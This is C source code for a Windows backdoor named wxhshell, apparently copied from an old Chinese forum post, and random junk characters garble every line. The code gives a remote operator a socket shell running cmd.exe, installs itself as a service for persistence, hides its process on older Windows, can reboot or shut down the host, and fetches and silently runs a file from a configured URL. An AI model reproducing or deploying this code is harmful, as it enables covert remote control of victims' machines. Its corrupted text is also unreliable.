  case '?': { 9 d a=q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (WC =om  
    break; m(U.BXo  
  } tj~r>SRb+  
  // 安装 @9| jY1  
  case 'i': { npltsK):  
    if(Install()) 4 H0rS'5d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YiO}"  
    else UTh2? Rh/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )/@KdEA:  
    break; fc@<'-VA  
    } XjN =UhC  
  // 卸载 klnNBo!  
  case 'r': {  94PI  
    if(Uninstall()) dxAGO(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v)_c*+6u  
    else .O1w-,=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nMzt_IlI  
    break; Hq 5#.rZ#  
    } ejZ-A?f-K  
  // 显示 wxhshell 所在路径 y,`n9[$K\  
  case 'p': { = K}Pfh  
    char svExeFile[MAX_PATH]; X}(X\rp  
    strcpy(svExeFile,"\n\r"); [-VH%OM  
      strcat(svExeFile,ExeFile); j!i* &  
        send(wsh,svExeFile,strlen(svExeFile),0); 8xAIn>,_  
    break; oQ r.cKD ?  
    } g $Y]{VM.J  
  // 重启 !7I07~&1  
  case 'b': { 8QJr!#u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]sb?lAxh{  
    if(Boot(REBOOT)) 36(qe"s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); en'[_43  
    else { HJN GO[*g  
    closesocket(wsh); 1?H; c5?d&  
    ExitThread(0); gU+yqT7=  
    } "=s}xAM|A  
    break; |Jd8ul:&e  
    } Y+Z+Y)K  
  // 关机 tq h)yr;  
  case 'd': { ,\"x#Cc f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V[kJ;YLPN  
    if(Boot(SHUTDOWN)) 1/?Wa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vc|tp_M67  
    else { W vB]Rs  
    closesocket(wsh); 6 :3Id  
    ExitThread(0); e8 ]CB  
    } f\cTd/?Ju  
    break; kR %,:   
    } KyX2CfW}t  
  // 获取shell C('D]u$Hdk  
  case 's': { &%j`WF4p  
    CmdShell(wsh); _0rt.NRD  
    closesocket(wsh); ,jC~U s<  
    ExitThread(0); )u Hat#  
    break; [>?|wQy>=  
  } ];Noe9o  
  // 退出 faRQj:R8  
  case 'x': { ?GNR ab  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9)vU/fJ|  
    CloseIt(wsh); jc_k\  
    break; /r'Fq =z  
    } >$rH,Er  
  // 离开 c!6v-2ykv  
  case 'q': { ]l fufjj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H if| z[0$  
    closesocket(wsh); (Ud"+a  
    WSACleanup(); PU.j(0  
    exit(1); A]0R?N9wb_  
    break; H4 O"^#5  
        } 2Xv}JPS2As  
  } npkT>dB+  
  } <Nrtkf4-O  
3Y)z{o>P  
  // 提示信息 >Um(gbG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )fXw~  
} F~eYPaEKy!  
  } >Vq07R  
/'DAB**  
  return; +sn0bi/rG  
} xM<aQf\j  
XkqsL0\  
// shell模块句柄 U~yPQ8jD  
int CmdShell(SOCKET sock) 5g-1pzP9  
{ ',[AKXJ  
STARTUPINFO si; h& 4#5{=  
ZeroMemory(&si,sizeof(si)); ZK t{3P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B]yO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  -V2`[k  
PROCESS_INFORMATION ProcessInfo; .{t5_,P  
char cmdline[]="cmd"; \\ R<HuTY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {f4jE#a>v  
  return 0; _X?_|!;J  
} [^a7l$fmi  
#B?lU"f8q^  
// 自身启动模式 k8n9zJ8  
int StartFromService(void) ECL{`m(#n  
{ '@KH@~OzRS  
typedef struct Dj=$Q44  
{ 3'L =S  
  DWORD ExitStatus; :dipk,b?n  
  DWORD PebBaseAddress; mm#UaEp  
  DWORD AffinityMask; |4/rVj"  
  DWORD BasePriority;  rwSR  
  ULONG UniqueProcessId; P*;[&Nn4  
  ULONG InheritedFromUniqueProcessId; (bI/s'?K  
}   PROCESS_BASIC_INFORMATION; w8q 2f-K-  
F# 9^RA)9  
PROCNTQSIP NtQueryInformationProcess; ZGh6- /  
<n k/w5nKL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #o~C0`8!B=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %?V~7tHm>  
_M8'~$Sg  
  HANDLE             hProcess; EVqqOp1$v4  
  PROCESS_BASIC_INFORMATION pbi; eW<NDI&b  
)xU+M{p-os  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6X'0 T}  
  if(NULL == hInst ) return 0; 7fWZ/;p  
KIY`3Fl09  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c]k+ Sx&}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6:QlHuy0nH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); //r)dN^  
M7Xn=jc  
  if (!NtQueryInformationProcess) return 0; be-HF;lZe'  
@`B_Q v@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S/eplz;  
  if(!hProcess) return 0; cna%;f.  
M).CyY;bm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zr6.Nw  
g*_n|7pB  
  CloseHandle(hProcess); }vP(SF 6  
QaE!?R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (8ct'Q;  
if(hProcess==NULL) return 0; PVxu8n  
~S~+'V,d  
HMODULE hMod; @v&P;=lU  
char procName[255]; w?*79 u  
unsigned long cbNeeded; ?)<zzL",  
op-\|<i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /ioBc}]  
{Qd oI Pr3  
  CloseHandle(hProcess); @R;k@b   
yfqe6-8U  
if(strstr(procName,"services")) return 1; // 以服务启动 7zN7PHT=$t  
NyC&j`d  
  return 0; // 注册表启动 TntTR"6aD  
} ZjY?T)WE9  
A ^hafBa  
// 主模块 u!+;Iy7  
int StartWxhshell(LPSTR lpCmdLine) o)b-fAd@$  
{ 58mpW`Q  
  SOCKET wsl; Z"Q9^;0%  
BOOL val=TRUE; D\J.6W  
  int port=0; x<w-j[{k_K  
  struct sockaddr_in door; 6e.l# c!1}  
7z\ #"~(.  
  if(wscfg.ws_autoins) Install(); =%I;Y& K  
-#4QY70H t  
port=atoi(lpCmdLine); 3 Sf':N`u  
;U a48pSv  
if(port<=0) port=wscfg.ws_port; ?Ec{%N%  
GKUjtPu  
  WSADATA data; k MV1$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OM7AK B=S  
:T@} CJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BVus3Y5IJQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l  LBzY`j  
  door.sin_family = AF_INET; G|t0no\f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !"hzGgOOX  
  door.sin_port = htons(port); vq3:N'  
5L7 nEia'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5K&A2zC|  
closesocket(wsl); }2c&ARQ.m>  
return 1; mL#$8wUdt{  
} /c!^(5K fT  
noB8*n0  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Q#}:  
closesocket(wsl); 9G7Brs:  
return 1; Bz%wV-  
} uB6Mj dp6  
  Wxhshell(wsl); P,G :9x"e  
  WSACleanup(); 5w~J"P6jg  
c;a<nTLn  
return 0; ^e\$g2).  
9R-2\D]  
} "8a ?K Q  
~`$P-^u88X  
// 以NT服务方式启动 G~_D'o<r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,5T1QWn^f  
{ Y}C|4"V  
DWORD   status = 0; @S5HMJ2=  
  DWORD   specificError = 0xfffffff; *].qm g%  
j]-_kjt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P_p\OK*l]o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R S>qP;V*-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4OAR ["f  
  serviceStatus.dwWin32ExitCode     = 0; O^ &m  
  serviceStatus.dwServiceSpecificExitCode = 0; N<Ym&$xR  
  serviceStatus.dwCheckPoint       = 0; ?V~vP%1  
  serviceStatus.dwWaitHint       = 0; +RiI5.$=Z  
$i!r> .Jo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S$40nM  
  if (hServiceStatusHandle==0) return; 7dE.\#6r  
![I|hB  
status = GetLastError(); Dwr"-  
  if (status!=NO_ERROR) OP=-fX|*Q  
{ i ;Kax4k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PAC=LQn&  
    serviceStatus.dwCheckPoint       = 0; GZuWA a  
    serviceStatus.dwWaitHint       = 0; >b:5&s\9  
    serviceStatus.dwWin32ExitCode     = status; *c$UIg  
    serviceStatus.dwServiceSpecificExitCode = specificError; mxpw4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '|Lv -7  
    return; f|/ ,eP$  
  } g"c7$  
H,7!"!?@N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (_3'nFg  
  serviceStatus.dwCheckPoint       = 0; wQ9@ l  
  serviceStatus.dwWaitHint       = 0; P)Oe?z;G?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  B"5xs  
} QOPh3+.5  
X1[zkb  
// 处理NT服务事件,比如:启动、停止 p"H /N_b4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <7L-25 =  
{ *.D{d0A  
switch(fdwControl) ~*^o[~x]\  
{ c@nh>G:y{&  
case SERVICE_CONTROL_STOP: %uiCC>cC  
  serviceStatus.dwWin32ExitCode = 0; tehWGqx)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XJwgh y?(  
  serviceStatus.dwCheckPoint   = 0; 4L97UhLL  
  serviceStatus.dwWaitHint     = 0; F~OQ'59!Pf  
  { @`^Z5n.4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?s)6 YF  
  } -QBM^L  
  return; ;K4uu<e \  
case SERVICE_CONTROL_PAUSE: 6o(.zk`d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /t2H%#v{  
  break; *Utx0Me  
case SERVICE_CONTROL_CONTINUE: 2FO<Z %Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  (wxi!  
  break; B T {cTj0W  
case SERVICE_CONTROL_INTERROGATE: _~P &8  
  break; hKnV=Ha(  
}; !tx.2m*5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gv(MX ;B#  
} ![]6| G&  
bwszfPM  
// 标准应用程序主函数 ]n:R#55A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i3$G)W  
{ MhD=\Lpj\  
z 9WeOs  
// 获取操作系统版本 c]$$ap  
OsIsNt=GetOsVer(); J{XRltI+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I1K%n'D  
^R(=4%8%"  
  // 从命令行安装 wM-H5\9n  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?zVE7;r4U  
D)S_ p&  
  // 下载执行文件 ;/IX w>O(/  
if(wscfg.ws_downexe) { _t4(H))]vG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0r!F]Rm-^  
  WinExec(wscfg.ws_filenam,SW_HIDE); p`52  
} IEkbVIA(  
INCD5dihJ  
if(!OsIsNt) { Mdp'u$^!  
// 如果时win9x,隐藏进程并且设置为注册表启动 } ,Dk6w$  
HideProc(); 9Gx`[{wI9<  
StartWxhshell(lpCmdLine); ['iEw!  
} x[+bLlb  
else Ruwp"T}mF  
  if(StartFromService()) ,&* BhUC  
  // 以服务方式启动 Y OvhMi  
  StartServiceCtrlDispatcher(DispatchTable); 2jkma :$'  
else a`eb9o#  
  // 普通方式启动 Bw[#,_  
  StartWxhshell(lpCmdLine); zQ u9LN  
4TiHh  
return 0; ]ZI@?H? O  
}
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只看该作者 1 发表于: 2006-10-10
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